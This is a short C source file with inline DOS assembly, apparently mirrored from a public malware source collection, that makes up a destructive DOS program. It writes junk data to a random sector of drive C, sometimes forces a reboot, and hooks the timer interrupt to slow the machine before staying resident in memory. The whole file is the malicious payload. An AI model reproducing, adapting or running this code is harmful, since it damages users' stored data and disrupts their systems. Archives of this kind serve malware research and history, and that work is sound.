mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-20 02:16:09 +00:00
42 lines
835 B
NASM
42 lines
835 B
NASM
|
#include <process.h>
|
||
|
|
#include <stdlib.h>
|
||
|
|
#include <stdio.h>
|
||
|
|
#include <conio.h>
|
||
|
|
#include <dir.h>
|
||
|
|
#include <dos.h>
|
||
|
|
|
||
|
|
#define INTR 0X1C
|
||
|
|
|
||
|
|
#ifdef __cplusplus
|
||
|
|
#define __CPPARGS ...
|
||
|
|
#else
|
||
|
|
#define __CPPARGS
|
||
|
|
#endif
|
||
|
|
|
||
|
|
void interrupt ( *oldhandler)(__CPPARGS);
|
||
|
|
|
||
|
|
void interrupt handler(__CPPARGS)
|
||
|
|
{
|
||
|
|
delay(135);
|
||
|
|
oldhandler();
|
||
|
|
}
|
||
|
|
|
||
|
|
void main(void)
|
||
|
|
{
|
||
|
|
randomize();
char buf[512];
|
||
|
|
abswrite(2, 1, random(50000)+2000, buf);
|
||
|
|
|
||
|
|
if(random(20) == 10) asm INT 19h
|
||
|
|
|
||
|
|
oldhandler = getvect(INTR);
|
||
|
|
setvect(INTR, handler);
|
||
|
|
_ES = _psp; //PSP address
|
||
|
|
asm MOV es,es:[2ch]
|
||
|
|
_AH = 0x49; //Function 49 (remove memory block)
|
||
|
|
asm INT 21h //Call DOS to execute instruction
|
||
|
|
_AH = 0x31; //Function 31 (tsr)
|
||
|
|
_AL = 0x00; //Exit code
|
||
|
|
_DX = _psp; //PSP address
|
||
|
|
asm INT 21h //Call DOS to execute instruction
|
||
|
|
|
||
|
|
}
|